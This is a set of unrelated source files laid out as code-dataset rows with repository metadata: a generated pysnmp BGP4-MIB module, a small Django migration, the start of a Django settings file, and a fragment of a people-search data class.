self.ethnicities = ethnicities
self.phones = phones
self.origin_countries = origin_countries
self.ethnicities = ethnicities
self.usernames = usernames
self.languages = languages
self.emails = emails
self.user_ids = user_ids
self.relationships = relationships
self.names = names
self.social_profiles = social_profiles
def to_dict(self):
d = {}
for child in self.children:
if getattr(self, child) > 0:
d[child] = getattr(self, child)
return d
@classmethod
def from_dict(cls, d):
kwargs = {}
for key, value in d.iteritems():
if key in cls.children and type(value) == int:
kwargs[key] = value
return cls(**kwargs)
| [
"josh.liberty@pipl.com"
] | josh.liberty@pipl.com |
bc264dca1a83cbfdac6a1a6a8e809acd0f706f6c | 85a9ffeccb64f6159adbd164ff98edf4ac315e33 | /pysnmp-with-texts/BGP4-MIB.py | 82ca958d84278f8a01207e0ae3316c34872f82b6 | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-proprietary-license",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | agustinhenze/mibs.snmplabs.com | 5d7d5d4da84424c5f5a1ed2752f5043ae00019fb | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | refs/heads/master | 2020-12-26T12:41:41.132395 | 2019-08-16T15:51:41 | 2019-08-16T15:53:57 | 237,512,469 | 0 | 0 | Apache-2.0 | 2020-01-31T20:41:36 | 2020-01-31T20:41:35 | null | UTF-8 | Python | false | false | 25,509 | py | #
# PySNMP MIB module BGP4-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/BGP4-MIB
# Produced by pysmi-0.3.4 at Wed May 1 11:35:09 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, ConstraintsIntersection, ValueSizeConstraint, ConstraintsUnion, SingleValueConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ConstraintsIntersection", "ValueSizeConstraint", "ConstraintsUnion", "SingleValueConstraint")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
Unsigned32, Counter32, ModuleIdentity, MibIdentifier, NotificationType, Gauge32, Integer32, iso, Bits, TimeTicks, IpAddress, ObjectIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, Counter64, mib_2 = mibBuilder.importSymbols("SNMPv2-SMI", "Unsigned32", "Counter32", "ModuleIdentity", "MibIdentifier", "NotificationType", "Gauge32", "Integer32", "iso", "Bits", "TimeTicks", "IpAddress", "ObjectIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter64", "mib-2")
DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention")
bgp = ModuleIdentity((1, 3, 6, 1, 2, 1, 15))
if mibBuilder.loadTexts: bgp.setLastUpdated('9405050000Z')
if mibBuilder.loadTexts: bgp.setOrganization('IETF BGP Working Group')
if mibBuilder.loadTexts: bgp.setContactInfo(' John Chu (Editor) Postal: IBM Corp. P.O.Box 218 Yorktown Heights, NY 10598 US Tel: +1 914 945 3156 Fax: +1 914 945 2141 E-mail: jychu@watson.ibm.com')
if mibBuilder.loadTexts: bgp.setDescription('The MIB module for BGP-4.')
bgpVersion = MibScalar((1, 3, 6, 1, 2, 1, 15, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpVersion.setStatus('current')
if mibBuilder.loadTexts: bgpVersion.setDescription('Vector of supported BGP protocol version numbers. Each peer negotiates the version from this vector. Versions are identified via the string of bits contained within this object. The first octet contains bits 0 to 7, the second octet contains bits 8 to 15, and so on, with the most significant bit referring to the lowest bit number in the octet (e.g., the MSB of the first octet refers to bit 0). If a bit, i, is present and set, then the version (i+1) of the BGP is supported.')
bgpLocalAs = MibScalar((1, 3, 6, 1, 2, 1, 15, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpLocalAs.setStatus('current')
if mibBuilder.loadTexts: bgpLocalAs.setDescription('The local autonomous system number.')
bgpPeerTable = MibTable((1, 3, 6, 1, 2, 1, 15, 3), )
if mibBuilder.loadTexts: bgpPeerTable.setStatus('current')
if mibBuilder.loadTexts: bgpPeerTable.setDescription('BGP peer table. This table contains, one entry per BGP peer, information about the connections with BGP peers.')
bgpPeerEntry = MibTableRow((1, 3, 6, 1, 2, 1, 15, 3, 1), ).setIndexNames((0, "BGP4-MIB", "bgpPeerRemoteAddr"))
if mibBuilder.loadTexts: bgpPeerEntry.setStatus('current')
if mibBuilder.loadTexts: bgpPeerEntry.setDescription('Entry containing information about the connection with a BGP peer.')
bgpPeerIdentifier = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerIdentifier.setStatus('current')
if mibBuilder.loadTexts: bgpPeerIdentifier.setDescription("The BGP Identifier of this entry's BGP peer.")
bgpPeerState = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("idle", 1), ("connect", 2), ("active", 3), ("opensent", 4), ("openconfirm", 5), ("established", 6)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerState.setStatus('current')
if mibBuilder.loadTexts: bgpPeerState.setDescription('The BGP peer connection state.')
bgpPeerAdminStatus = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("stop", 1), ("start", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerAdminStatus.setStatus('current')
if mibBuilder.loadTexts: bgpPeerAdminStatus.setDescription("The desired state of the BGP connection. A transition from 'stop' to 'start' will cause the BGP Start Event to be generated. A transition from 'start' to 'stop' will cause the BGP Stop Event to be generated. This parameter can be used to restart BGP peer connections. Care should be used in providing write access to this object without adequate authentication.")
bgpPeerNegotiatedVersion = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerNegotiatedVersion.setStatus('current')
if mibBuilder.loadTexts: bgpPeerNegotiatedVersion.setDescription('The negotiated version of BGP running between the two peers.')
bgpPeerLocalAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 5), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerLocalAddr.setStatus('current')
if mibBuilder.loadTexts: bgpPeerLocalAddr.setDescription("The local IP address of this entry's BGP connection.")
bgpPeerLocalPort = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerLocalPort.setStatus('current')
if mibBuilder.loadTexts: bgpPeerLocalPort.setDescription('The local port for the TCP connection between the BGP peers.')
bgpPeerRemoteAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 7), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerRemoteAddr.setStatus('current')
if mibBuilder.loadTexts: bgpPeerRemoteAddr.setDescription("The remote IP address of this entry's BGP peer.")
bgpPeerRemotePort = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerRemotePort.setStatus('current')
if mibBuilder.loadTexts: bgpPeerRemotePort.setDescription('The remote port for the TCP connection between the BGP peers. Note that the objects bgpPeerLocalAddr, bgpPeerLocalPort, bgpPeerRemoteAddr and bgpPeerRemotePort provide the appropriate reference to the standard MIB TCP connection table.')
bgpPeerRemoteAs = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 9), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerRemoteAs.setStatus('current')
if mibBuilder.loadTexts: bgpPeerRemoteAs.setDescription('The remote autonomous system number.')
bgpPeerInUpdates = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerInUpdates.setStatus('current')
if mibBuilder.loadTexts: bgpPeerInUpdates.setDescription('The number of BGP UPDATE messages received on this connection. This object should be initialized to zero (0) when the connection is established.')
bgpPeerOutUpdates = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerOutUpdates.setStatus('current')
if mibBuilder.loadTexts: bgpPeerOutUpdates.setDescription('The number of BGP UPDATE messages transmitted on this connection. This object should be initialized to zero (0) when the connection is established.')
bgpPeerInTotalMessages = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerInTotalMessages.setStatus('current')
if mibBuilder.loadTexts: bgpPeerInTotalMessages.setDescription('The total number of messages received from the remote peer on this connection. This object should be initialized to zero when the connection is established.')
bgpPeerOutTotalMessages = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerOutTotalMessages.setStatus('current')
if mibBuilder.loadTexts: bgpPeerOutTotalMessages.setDescription('The total number of messages transmitted to the remote peer on this connection. This object should be initialized to zero when the connection is established.')
bgpPeerLastError = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 14), OctetString().subtype(subtypeSpec=ValueSizeConstraint(2, 2)).setFixedLength(2)).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerLastError.setStatus('current')
if mibBuilder.loadTexts: bgpPeerLastError.setDescription('The last error code and subcode seen by this peer on this connection. If no error has occurred, this field is zero. Otherwise, the first byte of this two byte OCTET STRING contains the error code, and the second byte contains the subcode.')
bgpPeerFsmEstablishedTransitions = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 15), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerFsmEstablishedTransitions.setStatus('current')
if mibBuilder.loadTexts: bgpPeerFsmEstablishedTransitions.setDescription('The total number of times the BGP FSM transitioned into the established state.')
bgpPeerFsmEstablishedTime = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 16), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerFsmEstablishedTime.setStatus('current')
if mibBuilder.loadTexts: bgpPeerFsmEstablishedTime.setDescription('This timer indicates how long (in seconds) this peer has been in the Established state or how long since this peer was last in the Established state. It is set to zero when a new peer is configured or the router is booted.')
bgpPeerConnectRetryInterval = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 17), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerConnectRetryInterval.setStatus('current')
if mibBuilder.loadTexts: bgpPeerConnectRetryInterval.setDescription('Time interval in seconds for the ConnectRetry timer. The suggested value for this timer is 120 seconds.')
bgpPeerHoldTime = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 18), Integer32().subtype(subtypeSpec=ConstraintsUnion(ValueRangeConstraint(0, 0), ValueRangeConstraint(3, 65535), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerHoldTime.setStatus('current')
if mibBuilder.loadTexts: bgpPeerHoldTime.setDescription('Time interval in seconds for the Hold Timer established with the peer. The value of this object is calculated by this BGP speaker by using the smaller of the value in bgpPeerHoldTimeConfigured and the Hold Time received in the OPEN message. This value must be at lease three seconds if it is not zero (0) in which case the Hold Timer has not been established with the peer, or, the value of bgpPeerHoldTimeConfigured is zero (0).')
bgpPeerKeepAlive = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 19), Integer32().subtype(subtypeSpec=ConstraintsUnion(ValueRangeConstraint(0, 0), ValueRangeConstraint(1, 21845), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerKeepAlive.setStatus('current')
if mibBuilder.loadTexts: bgpPeerKeepAlive.setDescription('Time interval in seconds for the KeepAlive timer established with the peer. The value of this object is calculated by this BGP speaker such that, when compared with bgpPeerHoldTime, it has the same proportion as what bgpPeerKeepAliveConfigured has when compared with bgpPeerHoldTimeConfigured. If the value of this object is zero (0), it indicates that the KeepAlive timer has not been established with the peer, or, the value of bgpPeerKeepAliveConfigured is zero (0).')
bgpPeerHoldTimeConfigured = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 20), Integer32().subtype(subtypeSpec=ConstraintsUnion(ValueRangeConstraint(0, 0), ValueRangeConstraint(3, 65535), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerHoldTimeConfigured.setStatus('current')
if mibBuilder.loadTexts: bgpPeerHoldTimeConfigured.setDescription('Time interval in seconds for the Hold Time configured for this BGP speaker with this peer. This value is placed in an OPEN message sent to this peer by this BGP speaker, and is compared with the Hold Time field in an OPEN message received from the peer when determining the Hold Time (bgpPeerHoldTime) with the peer. This value must not be less than three seconds if it is not zero (0) in which case the Hold Time is NOT to be established with the peer. The suggested value for this timer is 90 seconds.')
bgpPeerKeepAliveConfigured = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 21), Integer32().subtype(subtypeSpec=ConstraintsUnion(ValueRangeConstraint(0, 0), ValueRangeConstraint(1, 21845), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerKeepAliveConfigured.setStatus('current')
if mibBuilder.loadTexts: bgpPeerKeepAliveConfigured.setDescription("Time interval in seconds for the KeepAlive timer configured for this BGP speaker with this peer. The value of this object will only determine the KEEPALIVE messages' frequency relative to the value specified in bgpPeerHoldTimeConfigured; the actual time interval for the KEEPALIVE messages is indicated by bgpPeerKeepAlive. A reasonable maximum value for this timer would be configured to be one third of that of bgpPeerHoldTimeConfigured. If the value of this object is zero (0), no periodical KEEPALIVE messages are sent to the peer after the BGP connection has been established. The suggested value for this timer is 30 seconds.")
bgpPeerMinASOriginationInterval = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 22), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerMinASOriginationInterval.setStatus('current')
if mibBuilder.loadTexts: bgpPeerMinASOriginationInterval.setDescription('Time interval in seconds for the MinASOriginationInterval timer. The suggested value for this timer is 15 seconds.')
bgpPeerMinRouteAdvertisementInterval = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 23), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerMinRouteAdvertisementInterval.setStatus('current')
if mibBuilder.loadTexts: bgpPeerMinRouteAdvertisementInterval.setDescription('Time interval in seconds for the MinRouteAdvertisementInterval timer. The suggested value for this timer is 30 seconds.')
bgpPeerInUpdateElapsedTime = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 3, 1, 24), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpPeerInUpdateElapsedTime.setStatus('current')
if mibBuilder.loadTexts: bgpPeerInUpdateElapsedTime.setDescription('Elapsed time in seconds since the last BGP UPDATE message was received from the peer. Each time bgpPeerInUpdates is incremented, the value of this object is set to zero (0).')
bgpIdentifier = MibScalar((1, 3, 6, 1, 2, 1, 15, 4), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgpIdentifier.setStatus('current')
if mibBuilder.loadTexts: bgpIdentifier.setDescription('The BGP Identifier of local system.')
bgp4PathAttrTable = MibTable((1, 3, 6, 1, 2, 1, 15, 6), )
if mibBuilder.loadTexts: bgp4PathAttrTable.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrTable.setDescription('The BGP-4 Received Path Attribute Table contains information about paths to destination networks received from all BGP4 peers.')
bgp4PathAttrEntry = MibTableRow((1, 3, 6, 1, 2, 1, 15, 6, 1), ).setIndexNames((0, "BGP4-MIB", "bgp4PathAttrIpAddrPrefix"), (0, "BGP4-MIB", "bgp4PathAttrIpAddrPrefixLen"), (0, "BGP4-MIB", "bgp4PathAttrPeer"))
if mibBuilder.loadTexts: bgp4PathAttrEntry.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrEntry.setDescription('Information about a path to a network.')
bgp4PathAttrPeer = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrPeer.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrPeer.setDescription('The IP address of the peer where the path information was learned.')
bgp4PathAttrIpAddrPrefixLen = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 32))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrIpAddrPrefixLen.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrIpAddrPrefixLen.setDescription('Length in bits of the IP address prefix in the Network Layer Reachability Information field.')
bgp4PathAttrIpAddrPrefix = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 3), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrIpAddrPrefix.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrIpAddrPrefix.setDescription('An IP address prefix in the Network Layer Reachability Information field. This object is an IP address containing the prefix with length specified by bgp4PathAttrIpAddrPrefixLen. Any bits beyond the length specified by bgp4PathAttrIpAddrPrefixLen are zeroed.')
bgp4PathAttrOrigin = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("igp", 1), ("egp", 2), ("incomplete", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrOrigin.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrOrigin.setDescription('The ultimate origin of the path information.')
bgp4PathAttrASPathSegment = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 5), OctetString().subtype(subtypeSpec=ValueSizeConstraint(2, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrASPathSegment.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrASPathSegment.setDescription('The sequence of AS path segments. Each AS path segment is represented by a triple <type, length, value>. The type is a 1-octet field which has two possible values: 1 AS_SET: unordered set of ASs a route in the UPDATE message has traversed 2 AS_SEQUENCE: ordered set of ASs a route in the UPDATE message has traversed. The length is a 1-octet field containing the number of ASs in the value field. The value field contains one or more AS numbers, each AS is represented in the octet string as a pair of octets according to the following algorithm: first-byte-of-pair = ASNumber / 256; second-byte-of-pair = ASNumber & 255;')
bgp4PathAttrNextHop = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 6), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrNextHop.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrNextHop.setDescription('The address of the border router that should be used for the destination network.')
bgp4PathAttrMultiExitDisc = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1, 2147483647))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrMultiExitDisc.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrMultiExitDisc.setDescription('This metric is used to discriminate between multiple exit points to an adjacent autonomous system. A value of -1 indicates the absence of this attribute.')
bgp4PathAttrLocalPref = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1, 2147483647))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrLocalPref.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrLocalPref.setDescription("The originating BGP4 speaker's degree of preference for an advertised route. A value of -1 indicates the absence of this attribute.")
bgp4PathAttrAtomicAggregate = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("lessSpecificRrouteNotSelected", 1), ("lessSpecificRouteSelected", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrAtomicAggregate.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrAtomicAggregate.setDescription('Whether or not the local system has selected a less specific route without selecting a more specific route.')
bgp4PathAttrAggregatorAS = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrAggregatorAS.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrAggregatorAS.setDescription('The AS number of the last BGP4 speaker that performed route aggregation. A value of zero (0) indicates the absence of this attribute.')
bgp4PathAttrAggregatorAddr = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 11), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrAggregatorAddr.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrAggregatorAddr.setDescription('The IP address of the last BGP4 speaker that performed route aggregation. A value of 0.0.0.0 indicates the absence of this attribute.')
bgp4PathAttrCalcLocalPref = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 12), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1, 2147483647))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrCalcLocalPref.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrCalcLocalPref.setDescription('The degree of preference calculated by the receiving BGP4 speaker for an advertised route. A value of -1 indicates the absence of this attribute.')
bgp4PathAttrBest = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("false", 1), ("true", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrBest.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrBest.setDescription('An indication of whether or not this route was chosen as the best BGP4 route.')
bgp4PathAttrUnknown = MibTableColumn((1, 3, 6, 1, 2, 1, 15, 6, 1, 14), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: bgp4PathAttrUnknown.setStatus('current')
if mibBuilder.loadTexts: bgp4PathAttrUnknown.setDescription('One or more path attributes not understood by this BGP4 speaker. Size zero (0) indicates the absence of such attribute(s). Octets beyond the maximum size, if any, are not recorded by this object.')
bgpTraps = MibIdentifier((1, 3, 6, 1, 2, 1, 15, 7))
bgpEstablished = NotificationType((1, 3, 6, 1, 2, 1, 15, 7, 1)).setObjects(("BGP4-MIB", "bgpPeerLastError"), ("BGP4-MIB", "bgpPeerState"))
if mibBuilder.loadTexts: bgpEstablished.setStatus('current')
if mibBuilder.loadTexts: bgpEstablished.setDescription('The BGP Established event is generated when the BGP FSM enters the ESTABLISHED state.')
bgpBackwardTransition = NotificationType((1, 3, 6, 1, 2, 1, 15, 7, 2)).setObjects(("BGP4-MIB", "bgpPeerLastError"), ("BGP4-MIB", "bgpPeerState"))
if mibBuilder.loadTexts: bgpBackwardTransition.setStatus('current')
if mibBuilder.loadTexts: bgpBackwardTransition.setDescription('The BGPBackwardTransition Event is generated when the BGP FSM moves from a higher numbered state to a lower numbered state.')
mibBuilder.exportSymbols("BGP4-MIB", bgpPeerInUpdates=bgpPeerInUpdates, bgpPeerAdminStatus=bgpPeerAdminStatus, bgp4PathAttrMultiExitDisc=bgp4PathAttrMultiExitDisc, bgp4PathAttrAtomicAggregate=bgp4PathAttrAtomicAggregate, bgp4PathAttrUnknown=bgp4PathAttrUnknown, bgpPeerFsmEstablishedTime=bgpPeerFsmEstablishedTime, bgpPeerInUpdateElapsedTime=bgpPeerInUpdateElapsedTime, bgpPeerState=bgpPeerState, bgpPeerNegotiatedVersion=bgpPeerNegotiatedVersion, PYSNMP_MODULE_ID=bgp, bgpVersion=bgpVersion, bgp4PathAttrTable=bgp4PathAttrTable, bgpEstablished=bgpEstablished, bgp4PathAttrPeer=bgp4PathAttrPeer, bgpPeerLastError=bgpPeerLastError, bgpPeerOutUpdates=bgpPeerOutUpdates, bgpPeerRemotePort=bgpPeerRemotePort, bgpPeerLocalAddr=bgpPeerLocalAddr, bgpPeerKeepAliveConfigured=bgpPeerKeepAliveConfigured, bgp4PathAttrEntry=bgp4PathAttrEntry, bgp4PathAttrNextHop=bgp4PathAttrNextHop, bgpBackwardTransition=bgpBackwardTransition, bgpPeerInTotalMessages=bgpPeerInTotalMessages, bgp4PathAttrLocalPref=bgp4PathAttrLocalPref, bgp=bgp, bgpLocalAs=bgpLocalAs, bgpPeerRemoteAs=bgpPeerRemoteAs, bgp4PathAttrASPathSegment=bgp4PathAttrASPathSegment, bgp4PathAttrAggregatorAddr=bgp4PathAttrAggregatorAddr, bgpPeerLocalPort=bgpPeerLocalPort, bgp4PathAttrCalcLocalPref=bgp4PathAttrCalcLocalPref, bgp4PathAttrAggregatorAS=bgp4PathAttrAggregatorAS, bgpPeerHoldTime=bgpPeerHoldTime, bgpPeerMinRouteAdvertisementInterval=bgpPeerMinRouteAdvertisementInterval, bgp4PathAttrIpAddrPrefix=bgp4PathAttrIpAddrPrefix, bgpPeerIdentifier=bgpPeerIdentifier, bgpPeerRemoteAddr=bgpPeerRemoteAddr, bgpPeerKeepAlive=bgpPeerKeepAlive, bgpPeerFsmEstablishedTransitions=bgpPeerFsmEstablishedTransitions, bgp4PathAttrOrigin=bgp4PathAttrOrigin, bgpPeerMinASOriginationInterval=bgpPeerMinASOriginationInterval, bgp4PathAttrIpAddrPrefixLen=bgp4PathAttrIpAddrPrefixLen, bgp4PathAttrBest=bgp4PathAttrBest, bgpPeerTable=bgpPeerTable, bgpPeerConnectRetryInterval=bgpPeerConnectRetryInterval, bgpPeerHoldTimeConfigured=bgpPeerHoldTimeConfigured, bgpIdentifier=bgpIdentifier, bgpTraps=bgpTraps, bgpPeerOutTotalMessages=bgpPeerOutTotalMessages, bgpPeerEntry=bgpPeerEntry)
| [
"dcwangmit01@gmail.com"
] | dcwangmit01@gmail.com |
65833106612dba86e94d7134a9ebee17684ede08 | a7f16c95f973905e880ad4dc277fbba890486654 | /wildlifecompliance/migrations/0549_callemail_dead.py | ceb5034f13c1d94a0e1fcfc6c4f99e9b1da06457 | [
"Apache-2.0"
] | permissive | dbca-wa/wildlifecompliance | 9e98e9c093aeb25dbb7ff8d107be47e29bcd05e1 | cb12ad9ea1171f10b5297cdb7e1eb6ea484e633d | refs/heads/master | 2023-08-08T14:37:05.824428 | 2023-07-31T02:57:23 | 2023-07-31T02:57:23 | 232,276,030 | 1 | 17 | NOASSERTION | 2023-07-31T02:57:24 | 2020-01-07T08:12:53 | Python | UTF-8 | Python | false | false | 466 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.29 on 2021-11-17 04:15
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('wildlifecompliance', '0548_callemail_call_type'),
]
operations = [
migrations.AddField(
model_name='callemail',
name='dead',
field=models.BooleanField(default=False),
),
]
| [
"thakurpriya1990@gmail.com"
] | thakurpriya1990@gmail.com |
b0d8a79b1e2380094e3fecd28ce37d7f093034af | e6378e26e05ddad794f770b83bc0471c13da6452 | /myproject_3/myproject_3/settings.py | fcf3991bded13e4db0091ee0c0c865cd9813120c | [] | no_license | dheerajgadhamsetty/REST_API | 122954bfc3dae2de0d218b8909792d3f75480903 | d370c7cce5ed6b325755ab243c20f58335cafbba | refs/heads/master | 2023-07-18T08:12:15.463796 | 2021-08-29T06:53:28 | 2021-08-29T06:53:28 | 400,971,889 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,289 | py | """
Django settings for myproject_3 project.
Generated by 'django-admin startproject' using Django 3.2.4.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib import Path
# Build paths inside the project like this: BASE_DIR / 'subdir'.
BASE_DIR = Path(__file__).resolve().parent.parent
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'django-insecure-nexhg*7y2rx&(br1g!+(4wna5_^o(&%hshbrft15xv$mvxin8&'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'rest_framework',
'myapp',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
